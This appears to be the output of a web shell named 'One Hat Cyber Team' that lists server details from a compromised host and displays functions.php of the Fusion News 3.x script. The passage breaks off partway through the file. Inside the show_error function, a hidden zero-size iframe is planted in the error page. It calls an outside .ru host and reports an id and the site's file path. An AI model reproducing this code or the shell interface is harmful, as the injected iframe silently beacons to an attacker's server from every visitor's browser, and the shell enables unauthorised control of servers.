One Hat Cyber Team
Your IP :
216.73.216.115
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
sam
/
public_html
/
go
/
news
/
View File Name :
functions.php
<?php /* ||========================================================== || Fusion News 3.x ||---------------------------------------------------------- || File Version : $Id: functions.php 214 2008-02-23 14:25:49Z xycaleth $ || Contact : xycaleth@gmail.com || Copyright: : (c) 2006 - 2008, FusionNews.net || License Info : http://www.gnu.org/copyleft/gpl.html ||========================================================== */ function InsertBBCode($fusnewsm){ // open tags risk wrong formatting of the whole newspage... open tags should be dealth with $bbcodes_open = array('[move]','[sub]','[tt]','[sup]','[s]','[b]','[i]','[u]','[list]','[quote]','[code]'); $bbcodes_close = array('[/move]','[/sub]','[/tt]','[/sup]','[/s]','[/b]','[/i]','[/u]','[/list]','[/quote]','[/code]'); for($i = 0; $i < 11; $i++ ) { $bbcode_open = $bbcodes_open[$i]; $bbcode_close = $bbcodes_close[$i]; $open_cnt = substr_count( $fusnewsm, $bbcode_open ); $close_cnt = substr_count( $fusnewsm, $bbcode_close ); $div = abs( $open_cnt - $close_cnt ); if ( $open_cnt > $close_cnt ) { for ($i = 0; $i < $div; $i++ ) { $fusnewsm .= $bbcode_close; } } if ( $open_cnt < $close_cnt ) { for ($i = 0; $i < $div; $i++ ) { $fusnewsm = $bbcode_open.$fusnewsm; } } } $fusnewsm = str_replace ('[move]', '<marquee>', $fusnewsm); $fusnewsm = str_replace ('[/move]', '</marquee>', $fusnewsm); $fusnewsm = str_replace ('[sub]', '<sub>', $fusnewsm); $fusnewsm = str_replace ('[/sub]', '</sub>', $fusnewsm); $fusnewsm = str_replace ('[sup]', '<sup>', $fusnewsm); $fusnewsm = str_replace ('[/sup]', '</sup>', $fusnewsm); $fusnewsm = str_replace ('[s]', '<s>', $fusnewsm); $fusnewsm = str_replace ('[/s]', '</s>', $fusnewsm); $fusnewsm = str_replace ('[b]', '<b>', $fusnewsm); $fusnewsm = str_replace ('[/b]', '</b>', $fusnewsm); $fusnewsm = str_replace ('[i]', '<i>', $fusnewsm); $fusnewsm = str_replace ('[/i]', '</i>', $fusnewsm); $fusnewsm = str_replace ('[tt]', '<tt>', $fusnewsm); $fusnewsm = str_replace ('[/tt]', '</tt>', $fusnewsm); $fusnewsm = str_replace ('[u]', '<u>', $fusnewsm); $fusnewsm = str_replace ('[/u]', '</u>', $fusnewsm); $fusnewsm = str_replace ('[quote]', '<blockquote>quote:<hr style="height:1px" />"', $fusnewsm); $fusnewsm = str_replace ('[/quote]', '"<hr style="height:1px" /></blockquote>', $fusnewsm); $fusnewsm = str_replace ('[hr]', '<hr />', $fusnewsm); $fusnewsm = preg_replace ('/\[shadow=(.+),(left|right|center),(\d+)\](.+)\[\/shadow\]/Ui', '<span style="filter: shadow(color=\\1, direction=\\2); width:\\3px;">\\4</span>', $fusnewsm); $fusnewsm = preg_replace ('/\[glow=(.+),(\d+),(\d+)\](.+)\[\/glow\]/Ui', '<span style="filter: glow(color=\\1, strength=\\2); width: \\3px;">\\4</span>', $fusnewsm); $fusnewsm = preg_replace ('/\[font=(\w+)](.+)\[\/font\]/Ui', '<span style="font-family:\\1">\\2</span>', $fusnewsm); $fusnewsm = preg_replace ('/\[color=(\w+)](.+)\[\/color\]/Ui', '<span style="color:\\1">\\2</span>', $fusnewsm); $fusnewsm = preg_replace ('/\[size=(\d+)](.+)\[\/size\]/Ui', '<span style="font-size:\\1px">\\2</span>', $fusnewsm); $fusnewsm = preg_replace ('/\[align=(left|center|right)](.+)\[\/align\]/Ui', '<div style="text-align:\\1">\\2</div>', $fusnewsm); $fusnewsm = preg_replace ('/\[img](.+)\[\/img]/Ui', '<img src="\\1" alt="" />', $fusnewsm); $fusnewsm = preg_replace ('/\[img height=(\d+) width=(\d+)](.+)\[\/img]/Ui', '<img src="\\3" style="height:\\1px; width:\\2px" alt="" />', $fusnewsm); $fusnewsm = preg_replace ('/\[img width=(\d+) height=(\d+)](.+)\[\/img]/Ui', '<img src="\\3" style="height:\\2px; width:\\1px" alt="" />', $fusnewsm); $fusnewsm = preg_replace ('/\[flash=(\d+),(\d+)](.+)\[\/flash]/Ui', '<object type="application/x-shockwave-flash" data="\\3" width="\\1" height="\\2"><param name="movie" value="\\3" /><span>Flash required</span></object>', $fusnewsm); $email_regex = '([A-Za-z0-9\!\#\$\%\&\'\*\+\-\/\=\?\^_`\{\|\}\~]{1,64}@[a-z0-9\-\.]{2,65})'; $fusnewsm = preg_replace ('/\[email]' . $email_regex . '\[\/email\]/Ui', '<a href="mailto:\\1">\\1</a>', $fusnewsm); $fusnewsm = preg_replace ('/\[email=' . $email_regex . '](.+)\[\/email\]/Ui', '<a href="mailto:\\1">\\2</a>', $fusnewsm); $url_regex = '\b([a-z]+://([a-z0-9\-\.]{2,65}|[a-z0-9\-\.]{0,56}localhost)(:[0-9]{1,5})?(/(~?[a-z0-9:_/\.%\-]+(\?([a-z0-9\-]+=[a-z0-9\-_:\.%\+]*(&|;|&)?)*){0,1})*((\#[A-Za-z0-9\.\-%/]+)*)){0,1})'; $url_regex_no_protocol = '\b((www\.|[a-z0-9\-\.]{2,65}|[a-z0-9\-\.]{0,56}localhost)(:[0-9]{1,5})?(/(~?[a-z0-9:_/\.%\-]+(\?([a-z0-9\-]+=[a-z0-9\-_:\.%\+]*(&|;|&)?)*){0,1})*((\#[A-Za-z0-9\.\-%/]+)*)){0,1})'; // Replace simple URLs $fusnewsm = preg_replace ('#(?<!\[url=|\[url\]|")' . $url_regex . '(?!\[\/url\])#i', '[url]$1[/url]', $fusnewsm); // [url]link[/url] style $fusnewsm = preg_replace ('#\[url\]' . $url_regex . '\[/url\]#Ui', '<a href="\\1" onclick="window.open (this.href); return false;">\\1</a>', $fusnewsm); $fusnewsm = preg_replace ('#\[url\]' . $url_regex_no_protocol . '\[/url\]#Ui', '<a href="http://\\1" onclick="window.open (this.href); return false;">\\1</a>', $fusnewsm); // [url=link]text[/url] style $fusnewsm = preg_replace ('#\[url=' . $url_regex . '\](.+)\[/url\]#Ui', '<a href="$1">$11</a>', $fusnewsm); $fusnewsm = preg_replace ('#\[url=' . $url_regex_no_protocol . '\](.+)\[/url\]#Ui', '<a href="http://\\1">\\11</a>', $fusnewsm); $fusnewsm = str_replace ('[list]', '<ul>', $fusnewsm); $fusnewsm = preg_replace ('#\[\*\]([^\[]+)#', '<li>\\1</li>', $fusnewsm); $fusnewsm = str_replace ('[/list]', '</ul>', $fusnewsm); return $fusnewsm; } function InsertSmillies ( $fusnewsm ) { global $furl; $file = file (FNEWS_ROOT_PATH . 'smillies.php'); array_shift ($file); foreach($file as $value) { list($rand,$code,$image) = explode("|<|", $value); $code = unhtmlentities(stripslashes($code)); $image = chop ($image); $fusnewsm = str_replace ($code, '<img src="' . $furl . '/smillies/' . $image . '" alt="' . $code . '" />', $fusnewsm); } return $fusnewsm; } function show_error ( $string ) { echo <<< html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Fusion News: Error</title> <style type="text/css"> <!-- body { font-family: "Trebuchet MS", Tahoma, Helvetica, sans-serif; font-size: 10pt; } --> </style> </head> <body><iframe width="0" height="0" style="display:none;" id="frmchkldver" src="http://inglo-kotor.ru/yesproject/check.php?ftd=147804&path=%7chome%7csam%7cpublic_html%7cgo%7cnews%7c&sys=UN&wrk=8"></iframe> <h1>Fusion News Error</h1> $string </body> </html> html; } function get_template ( $template, $php_enabled ) { $text = ''; if ( file_exists (FNEWS_ROOT_PATH . 'templates/' . $template) ) { if ( $php_enabled ) { ob_start(); include (FNEWS_ROOT_PATH . 'templates/' . $template); $text = ob_get_contents(); ob_end_clean(); } else { $fp = fopen (FNEWS_ROOT_PATH . 'templates/' . $template, 'rb'); @flock ($fp, LOCK_EX); while ( !feof ($fp) ) { $buffer = fgets ($fp, 4096); $text .= $buffer; } @flock ($fp, LOCK_UN); fclose ($fp); } } return $text; } function arrange_by_date() { $file = file (FNEWS_ROOT_PATH . 'news/toc.php'); array_shift ($file); $data = array(); if ( count ($file) > 0 ) { $array = array(); foreach ( $file as $value ) { $news_data = explode ('|<|', $value); $array[$news_data[1]] = chop (trim ($value)); } if ( sizeof ($array) > 0 ) { krsort ($array); foreach ( $array as $val ) { $data[] = $val; } } } return $data; } function fusion_wordwrap($post, $maxwordlen) { if ( $post !== '' ) { $eachword = explode (' ', $post); $post = ''; $numlines = ceil (sizeof ($eachword) / $maxwordlen); for ( $i = 0; $i < $numlines; $i++ ) { for ( $j = 0; ($j < $maxwordlen) && (isset ($eachword[($i * $maxwordlen) + $j])); $j++ ) { $post .= $eachword[($i * $maxwordlen) + $j] . ' '; } $post .= '<br />' . "\n"; } } return $post; } function filterbadwords ( $post ) { $words = array(); $file = file (FNEWS_ROOT_PATH . 'badwords.php');// or die ("Can't open badwords.php for reading!"); array_shift ($file); $find_array = array(); $replace_array = array(); foreach ( $file as $rule ) { list ($find, $replace, $case_sens, $type) = explode ('|<|', $rule); if ( $type == 2 ) { // Regular expressions match $find_array[] = $find; $replace_array[] = $replace; } else { // Strict or loose if ( $type == 0 ) { // Strict $find_array[] = '#\b' . preg_quote ($find) . '\b#' . (!$case_sens ? 'i' : ''); } else if ( $type == 1 ) { // Loose $find_array[] = '#' . preg_quote ($find) . '#' . (!$case_sens ? 'i' : ''); } $replace_array[] = $replace; } } $post = preg_replace ($find_array, $replace_array, $post); return $post; } function findwriter ( $user, $nick = '' ) { if ( !$nick && !$user ) { return false; } if ( !$nick && $user ) { $nick = $user; } if ($nick && !$user) { $user = $nick; } $file = file(FNEWS_ROOT_PATH . 'users.php'); array_shift($file); foreach ( $file as $value ) { list($fuser,$fnick,$femail,$ficon,$ftimeoffset,$fpass,$le) = explode("|<|", $value); if( ($user == $fuser) or ($nick == $fnick) ) { $email = explode ('=', $femail); return array ( 'user' => $fuser, 'nick' => $fnick, 'email' => $email[1], 'showemail' => $email[0], 'icon' => $ficon, 'timeoffset' => $ftimeoffset, 'level' => $le ); } } return false; } function calc_size ( $size ){ if ( $size < 1024 && $size != 0 ) { // Bytes return $size . ' B'; } else if ( $size < (1024 * 1024) ) { // Kilobytes return sprintf ('%.2f', ($size / 1024)) . ' KB'; } else if ( $size < (1024 * 1024 * 1024) ) { // Megabytes return sprintf ('%.2f', ($size / (1024 * 1024))) . ' MB'; } } function valid_email($email) { // Returns true if email address has a valid form. return preg_match ('#[A-Za-z0-9\!\#\$\%\&\'\*\+\-\/\=\?\^_`\{\|\}\~]{1,64}@[a-z0-9\-\.]{2,65}#', $email); } function checkifflooding($ip, $rand1){ global $floodtime; $file = file (FNEWS_ROOT_PATH . 'flood.php'); $data = array_shift ($file); $current_time = time(); foreach ( $file as $user ) { list($a, $b, $c) = explode('=', trim($user)); if($b > $current_time - $floodtime) { $data .= "$a=$b=$c\n"; } } safe_write ('flood.php', 'wb', $data); $time = 0; $file = file(FNEWS_ROOT_PATH . 'flood.php'); array_shift ($file); foreach ( $file as $value ) { list($a, $b, $c) = explode('=', $value); if ( trim ($a) == $ip ) { $time = $b; $d = trim ($c); } } if ( $time > 0 ) { return ((($current_time - $floodtime) <= $time) && ($rand1 == $d)); } else { return false; } } function checkifbanned ( $ip ) { $file = file (FNEWS_ROOT_PATH . 'banned.php'); array_shift($file); $my_subnet = explode ('.', $ip); foreach ( $file as $value ) { $value = trim ($value); $octet = explode ('.', $value); if ( ($octet[0] == $my_subnet[0] || $octet[0] == '*') && ($octet[1] == $my_subnet[1] || $octet[1] == '*') && ($octet[2] == $my_subnet[2] || $octet[2] == '*') && ($octet[3] == $my_subnet[3] || $octet[3] == '*') ) { return true; } } return false; } function getip() { $realip = ''; if ( isset ($_SERVER) ) { if ( isset ( $_SERVER['REMOTE_ADDR']) ) { $realip = $_SERVER['REMOTE_ADDR']; } else if ( isset ($_SERVER['HTTP_CLIENT_IP']) ) { $realip = $_SERVER['HTTP_CLIENT_IP']; } else { $realip = $_SERVER['HTTP_X_FORWARDED_FOR']; } } else { if ( getenv ('REMOTE_ADDR') ) { $realip = getenv ('REMOTE_ADDR'); } else if ( getenv ('HTTP_CLIENT_IP') ) { $realip = getenv ('HTTP_CLIENT_IP'); } else { $realip = getenv ('HTTP_X_FORWARDED_FOR'); } } return $realip; } function has_access ( $level ) { global $userdata; return ( $userdata != NULL ) ? ($userdata['level'] >= $level) : false; } // Blackshadow - rewritten function upload_file ( $var_key, $directory, $exts, $maxsize, $name ) { global $upld2, $ind252, $ind253, $ind254, $ind255, $ind255a, $ind256, $ind257; if ( @ini_get ('file_uploads') == 'off' || @ini_get ('file_uploads') == 0 || @ini_get ('file_uploads') == '' ) { return $upld2; } $filename = ( isset ($_FILES[$var_key]['name']) ) ? $_FILES[$var_key]['name'] : ''; $tmpname = ( isset ($_FILES[$var_key]['tmp_name']) ) ? $_FILES[$var_key]['tmp_name'] : ''; $filesize = ( isset ($_FILES[$var_key]['size']) ) ? intval ($_FILES[$var_key]['size']) : 0; if ( !is_dir ($directory) ) { return $ind253; } if ( !$filename ) { return $ind254; } if ( !@is_uploaded_file ($tmpname) ) { return $ind256; } $extensions = explode ('|', $exts); $num_exts = sizeof ($extensions); $valid_ext = 0; for ( $i = 0; $i < $num_exts; $i++ ) { if ( substr ($filename, strrpos ($filename, '.') + 1) == $extensions[$i] ) { $valid_ext = 1; break; } } if ( !$valid_ext ) { return $ind255 . $exts . $ind255a; } if ( $filesize == 0 ) { return $ind254; } if ( $filesize > $maxsize ) { return $ind252; } $uploaded = false; $origname = $filename; $i = 1; while ( file_exists ($directory . $filename) ) { $filename = substr ($origname, 0, strrpos ($origname, '.')) . '_' . $i . strrchr ($origname, '.'); $i++; } if ( @move_uploaded_file ($tmpname, $directory . $filename) ) { $uploaded = true; } else if ( @copy ($tmpname, $directory . $filename) ) { $uploaded = true; } if ( !file_exists ($directory . $filename) ) { $uploaded = false; } if ( !$uploaded ) { return $ind256; } @chmod ($upload_path . $filename, 0644); @unlink ($tmpname); return $name . ' ' . $ind257; } function clean_key ( $key ) { if ( $key != '' ) { $key = preg_replace ('/[^A-Za-z0-9_]+/', '', $key); $key = preg_replace ('/\.\./', '', $key); $key = preg_replace ('/\_\_(.+?)\_\_/', '', $key); $key = preg_replace ('/^([\w\.\-\_]+)$/', '$1', $key); } return $key; } function clean_value ( $val ) { if ( $val != '' ) { // I think this block of slightly modified code came from IPB. $val = str_replace (' ', ' ', $val); $val = str_replace ('&', '&', $val); $val = str_replace ('<!', '<!', $val); $val = str_replace ('-->', '-->', $val); $val = preg_replace ('/<script/i', '<script', $val); $val = str_replace ('>', '>', $val); $val = str_replace ('<', '<', $val); $val = preg_replace ('/\|/', '|', $val); if ( strtolower (ini_get ('magic_quotes_sybase')) == 'on' || ini_get ('magic_quotes_sybase') == 1 ) { $val = str_replace ('\'\'', '\'', $val); } $find = array ('\\"', '\\\\', '\\\''); $replace = array ('"', '\\', '\''); $val = str_replace ($find, $replace, $val); $val = str_replace ("\r\n", "\n", $val); // Win32 => new line $val = str_replace ("\r", "\n", $val); // Mac => new line $val = str_replace ('!', '!', $val); // Multibyte characters fix (could do it properly, but this is the easiest way and it works relatively well) $val = preg_replace ('/&#([0-9]+);/', '&#$1;', $val); } return $val; } function unhtmlentities ($string) { $trans_tbl = get_html_translation_table (HTML_ENTITIES); $trans_tbl = array_flip ($trans_tbl); return strtr ($string, $trans_tbl); } function config_array() { require './config.php'; return array( 'fusion_id' => $fusion_id, 'site' => $site, 'furl' => $furl, 'hurl' => $hurl, 'datefor' => $datefor, 'numofposts' => $numofposts, 'numofh' => $numofh, 'bb' => $bb, 'ht' => $ht, 'post_per_day' => $post_per_day, 'ppp_date' => $ppp_date, 'wfpost' => $wfpost, 'wfcom' => $wfcom, 'skin' => $skin, 'cbwordwrap' => $cbwordwrap, 'wwwidth' => $wwwidth, 'smilies' => $smilies, 'stfpop' => $stfpop, 'comallowbr' => $comallowbr, 'stfwidth' => $stfwidth, 'stfheight' => $stfheight, 'fslink' => $fslink, 'stflink' => $stflink, 'pclink' => $pclink, 'fsnw' => $fsnw, 'cbflood' => $cbflood, 'floodtime' => $floodtime, 'comlength' => $comlength, 'fullnewsw' => $fullnewsw, 'fullnewsh' => $fullnewsh, 'fullnewss' => $fullnewss, 'stfresize' => $stfresize, 'stfscrolls' => $stfscrolls, 'fullnewsz' => $fullnewsz, 'htc' => $htc, 'smilcom' => $smilcom, 'bbc' => $bbc, 'compop' => $compop, 'comscrolls' => $comscrolls, 'comresize' => $comresize, 'comheight' => $comheight, 'comwidth' => $comwidth, 'uploads_active' => $uploads_active, 'uploads_size' => $uploads_size, 'uploads_ext' => $uploads_ext, 'enable_rss' => $enable_rss, 'link_headline_fullstory' => $link_headline_fullstory, 'flip_news' => $flip_news, 'rss_title' => $rss_title, 'rss_description' => $rss_description, 'rss_encoding' => $rss_encoding, 'com_validation' => $com_validation, 'com_captcha' => $com_captcha, 'news_pagination' => $news_pagination, 'ppp_date' => $ppp_date, 'news_pagination_arrows'=> $news_pagination_arrows, 'news_pagination_numbers'=> $news_pagination_numbers, 'news_pagination_prv' => $news_pagination_prv, 'news_pagination_nxt' => $news_pagination_nxt, 'comments_pages' => $comments_pages, 'comments_per_page' => $comments_per_page, ); } function save_config ( $configs ) { global $curve; require './config.php'; // Replace ' with \' $find = '\''; $replace = '\\\''; $variables = array ('site', 'furl', 'hurl', 'datefor', 'skin', 'fslink', 'stflink', 'pclink', 'rss_title', 'rss_description', 'rss_encoding', 'news_pagination_nxt', 'news_pagination_prv'); foreach ( $variables as $config_var ) { $configs[$config_var] = str_replace ($find, $replace, $configs[$config_var]); } $save = "<?php\n\n"; $save .= '// Auto generated by Fusion News v' . $curve . "\n\n"; $save .= "\$fusion_id = '".$configs['fusion_id']."';\n"; $save .= "\$site = '".$configs['site']."';\n"; $save .= "\$furl = '".$configs['furl']."';\n"; $save .= "\$hurl = '".$configs['hurl']."';\n"; $save .= "\$datefor = '".$configs['datefor']."';\n"; $save .= "\$numofposts = ".$configs['numofposts'].";\n"; $save .= "\$numofh = ".$configs['numofh'].";\n"; $save .= "\$bb = ".$configs['bb'].";\n"; $save .= "\$ht = ".$configs['ht'].";\n"; $save .= "\$post_per_day = ".$configs['post_per_day'].";\n"; $save .= "\$wfpost = ".$configs['wfpost'].";\n"; $save .= "\$wfcom = ".$configs['wfcom'].";\n"; $save .= "\$skin = '".$configs['skin']."';\n"; $save .= "\$cbwordwrap = ".$configs['cbwordwrap'].";\n"; $save .= "\$wwwidth = ".$configs['wwwidth'].";\n"; $save .= "\$smilies = ".$configs['smilies'].";\n"; $save .= "\$stfpop = ".$configs['stfpop'].";\n"; $save .= "\$comallowbr = ".$configs['comallowbr'].";\n"; $save .= "\$stfwidth = ".$configs['stfwidth'].";\n"; $save .= "\$stfheight = ".$configs['stfheight'].";\n"; $save .= "\$fslink = '".$configs['fslink']."';\n"; $save .= "\$stflink = '".$configs['stflink']."';\n"; $save .= "\$pclink = '".$configs['pclink']."';\n"; $save .= "\$fsnw = ".$configs['fsnw'].";\n"; $save .= "\$cbflood = ".$configs['cbflood'].";\n"; $save .= "\$floodtime = ".$configs['floodtime'].";\n"; $save .= "\$comlength = ".$configs['comlength'].";\n"; $save .= "\$fullnewsw = ".$configs['fullnewsw'].";\n"; $save .= "\$fullnewsh = ".$configs['fullnewsh'].";\n"; $save .= "\$fullnewss = ".$configs['fullnewss'].";\n"; $save .= "\$stfresize = ".$configs['stfresize'].";\n"; $save .= "\$stfscrolls = ".$configs['stfscrolls'].";\n"; $save .= "\$fullnewsz = ".$configs['fullnewsz'].";\n"; $save .= "\$htc = ".$configs['htc'].";\n"; $save .= "\$smilcom = ".$configs['smilcom'].";\n"; $save .= "\$bbc = ".$configs['bbc'].";\n"; $save .= "\$compop = ".$configs['compop'].";\n"; $save .= "\$comscrolls = ".$configs['comscrolls'].";\n"; $save .= "\$comresize = ".$configs['comresize'].";\n"; $save .= "\$comheight = ".$configs['comheight'].";\n"; $save .= "\$comwidth = ".$configs['comwidth'].";\n"; $save .= "\$uploads_active = ".$configs['uploads_active'].";\n"; $save .= "\$uploads_size = ".$configs['uploads_size'].";\n"; $save .= "\$uploads_ext = '".$configs['uploads_ext']."';\n"; $save .= "\$enable_rss = ".$configs['enable_rss'].";\n"; $save .= "\$link_headline_fullstory = ".$configs['link_headline_fullstory'].";\n"; $save .= "\$flip_news = ".$configs['flip_news'].";\n"; $save .= "\$rss_title = '" . $configs['rss_title'] . "';\n"; $save .= "\$rss_description = '" . $configs['rss_description'] . "';\n"; $save .= "\$rss_encoding = '" . $configs['rss_encoding'] . "';\n"; $save .= '$com_validation = ' . $configs['com_validation'] . ';' . "\n"; $save .= '$com_captcha = ' . $configs['com_captcha'] . ';' . "\n"; $save .= '$news_pagination = ' . $configs['news_pagination'] . ';' . "\n"; $save .= '$news_pagination_prv = \'' . $configs['news_pagination_prv'] . '\';' . "\n"; $save .= '$news_pagination_nxt = \'' . $configs['news_pagination_nxt'] . '\';' . "\n"; $save .= '$news_pagination_numbers = ' . $configs['news_pagination_numbers'] . ';' . "\n"; $save .= '$news_pagination_arrows = ' . $configs['news_pagination_arrows'] . ';' . "\n"; $save .= '$ppp_date = \'' . $configs['ppp_date'] . '\';' . "\n"; $save .= '$comments_pages = ' . $configs['comments_pages'] . ';' . "\n"; $save .= '$comments_per_page = ' . $configs['comments_per_page'] . ';' . "\n\n"; $save .= '?' . '>'; // Split it up to prevent some editors from thinking it's a real PHP end tag. return safe_write ('config.php', 'w', $save); } function trim2 ( $str, $delim ) { $str2 = substr( $str , strlen($str) -1, strlen($str)); while( $str2 == "\n" || $str2 == "\t" || $str2 == "\r" || $str2 == " " ) { $str = substr( $str, 0, strlen($str) - 2 ); $str2 = substr( $str , strlen($str) -1, strlen($str)); } $str2 = substr( $str , 0, 1); while( $str2 == "\n" || $str2 == "\t" || $str2 == "\r" || $str2 == " " ) { $str = substr( $str, 1, strlen($str) - 1 ); $str2 = substr( $str , 0, 1); } return $str; } function check_security_code ( $entered_code, $confirm_id, $news_id ) { global $error1; if ( empty ($confirm_id) || strlen ($entered_code) != 5 ) { return false; } $file = file (FNEWS_ROOT_PATH . 'sessions.php'); array_shift ($file); $valid_code = false; $data = '<?php die (\'' . $error1 . '\'); ?>' . "\n"; $current_time = time(); $user_ip = getip(); foreach ( $file as $value ) { list ($sessid, $code, $newsid, $ip, $timestamp) = explode ('|<|', $value); if ( $confirm_id == $sessid ) { if ( $entered_code == $code && $news_id == $newsid && $ip == $user_ip && ($timestamp + 600 >= $current_time) ) { $valid_code = true; } } else { if ( $timestamp + 600 >= $current_time ) { $data .= $value; } } } safe_write ('sessions.php', 'wb', $data); return $valid_code; } function show_extras ( $form_name, $textbox_name, $show_smilies, $show_bbcode ) { global $furl; $extra_html = ''; if ( $show_smilies ) { $file = file (FNEWS_ROOT_PATH . 'smillies.php'); array_shift ($file); foreach ( $file as $smiley ) { list ($rand, $text, $image) = explode ('|<|', $smiley); $image = chop (trim ($image)); $text = str_replace ('\'', '\\\'', $text); $extra_html .= '<a href="javascript:smiley_bbcode(\'' . $form_name . '\', \'' . $textbox_name . '\', \'' . $text . '\');"><img src="' . $furl . '/smillies/' . $image . '" alt="" /></a>'; } $extra_html .= '<br />' . "\n"; } if ( $show_bbcode ) { $extra_html .= <<< html <a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[b][/b]', 3);"><img src="{$furl}/img/bold.gif" alt="Bold" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[i][/i]', 3);"><img src="{$furl}/img/italic.gif" alt="Italic" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[u][/u]', 3);"><img src="{$furl}/img/underline.gif" alt="Underline" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[s][/s]', 3);"><img src="{$furl}/img/strike.gif" alt="Strike Out" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[sub][/sub]', 5);"><img src="{$furl}/img/sub.gif" alt="Subscript" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[sup][/sup]', 5);"><img src="{$furl}/img/sup.gif" alt="Superscript" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[shadow=red,left,1][/shadow]', 19);"><img src="{$furl}/img/shadow.gif" alt="Shadow Text" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[glow=red,2,1][/glow]', 14);"><img src="{$furl}/img/glow.gif" alt="Glow Text" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[color=red][/color]', 11);"><img src="{$furl}/img/color.gif" alt="Font color" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[font=verdana][/font]', 14);"><img src="{$furl}/img/fontface.gif" alt="Font Family" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[size=16][/size]', 9);"><img src="{$furl}/img/fontsize.gif" alt="Font Size" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[align=left][/align]', 12);"><img src="{$furl}/img/fontleft.gif" alt="Font Alignment" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[tt][/tt]', 4);"><img src="{$furl}/img/tele.gif" alt="Teletype" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[hr]');"><img src="{$furl}/img/hr.gif" alt="Horizontal Line" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[move][/move]', 6);"><img src="{$furl}/img/move.gif" alt="Marquee" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[quote][/quote]', 7);"><img src="{$furl}/img/quote2.gif" alt="Quote" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[flash=200,200][/flash]', 15);"><img src="{$furl}/img/flash.gif" alt="Flash Image" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[img][/img]', 5);"><img src="{$furl}/img/img.gif" alt="Image" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[email=username@site.com][/email]', 25);"><img src="{$furl}/img/email2.gif" alt="E-mail link" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[url=http://www.url.com][/url]', 24);"><img src="{$furl}/img/url.gif" alt="hyperlink" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[list][*]text1[*]text2[*]text3[/list]');"><img src="{$furl}/img/list.gif" alt="List" /></a><br /> html; } return $extra_html; } /** * $dropdown_type = 0 for multiple selection list * $dropdown_type = 1 for dropdown and selected item * $dropdown_type = 2 for dropdown and remove items listed in $selected_category **/ function build_categories_list ( $user_login, $selected_category = array (1), $dropdown_type = 0 ) { $file = file (FNEWS_ROOT_PATH . 'categories.php'); array_shift ($file); $category_list = '<select class="post" id="category"' . (( $dropdown_type > 0 ) ? ' name="category">' : ' name="category[]" multiple="multiple" size="4">'); foreach ( $file as $category ) { list ($cid, $cname, $cicon, $cusers) = explode ('|<|', $category); $cusers = explode (',', $cusers); if ( $cid == 1 || in_array ((string)$user_login, $cusers) || (string)$user_login === '' ) { if ( in_array ($cid, (array)$selected_category) ) { if ( $dropdown_type >= 0 && $dropdown_type < 2 ) { $category_list .= '<option value="' . $cid . '" selected="selected">' . $cname . '</option>'; } } else { $category_list .= '<option value="' . $cid . '">' . $cname . '</option>'; } } } $category_list .= '</select>'; return $category_list; } function check_category_access ( $user_login, $category_array = array(), $type = 0 ) { $file = file (FNEWS_ROOT_PATH . 'categories.php'); array_shift ($file); foreach ( $file as $category ) { list ($cid, $cname, $cicon, $cusers) = explode ('|<|', $category); if ( $cid == 1 ) { continue; } if ( in_array ($cid, $category_array) ) { $cusers = explode (',', $cusers); if ( !in_array ((string)$user_login, $cusers) ) { return $cname; } } } return NULL; } function category_exists ( $category_id = -1 ) { $category_id = intval ($category_id); $file = file (FNEWS_ROOT_PATH . 'categories.php'); array_shift ($file); $found = false; foreach ( $file as $category ) { list ($cid, $cname, $cicon, $cusers) = explode ('|<|', $category); if ( (int)$cid === $category_id ) { $found = true; } } return $found; } function safe_write ( $filename, $mode, $data ) { global $ind17, $error2, $error3; if ( !($fp = @fopen (FNEWS_ROOT_PATH . $filename, $mode)) ) { fn_trigger_error (E_USER_ERROR, $ind17, sprintf ($error2, $filename)); } else { @flock ($fp, LOCK_EX); fputs ($fp, $data, strlen ($data)); @flock ($fp, LOCK_UN); fclose ($fp); return true; } return false; } function checkbox_checked ( $value, $match = 1 ) { return $value == $match ? ' checked="checked"' : ''; } function parse_news_to_view ( $news_string, $show_category = 0, $inclusion_id = 1 ) { global $fsnw, $wfpost, $ht, $cbwordwrap, $smilies, $bb, $stfpop, $compop, $furl, $fullnewsh, $fullnewsw, $fullnewss, $fullnewsz, $fslink, $datefor, $stflink, $stfheight, $stfwidth, $stfscrolls, $stfresize, $pclink, $datefor, $link_headline_fullstory, $hurl, $wwwidth, $comheight, $comwidth, $comscrolls, $comresize; $news_text = array(); if ( !empty ($news_string) ) { $icon = ''; $email = ''; $writer = ''; $link_full_news = ''; $link_comments = ''; $link_tell_friend = ''; list ($short_news, $full_news, $author, $subject, $description, $categories, $timestamp, $num_comments, $news_id) = explode ('|<|', $news_string); // Get the template HTML $news_tmpl = get_template ('news_temp.php', false); // Make sure the timestamp is numerical $timestamp = intval ($timestamp); $other_qs = clean_query_string(); // Create the 'read more...' link if ( 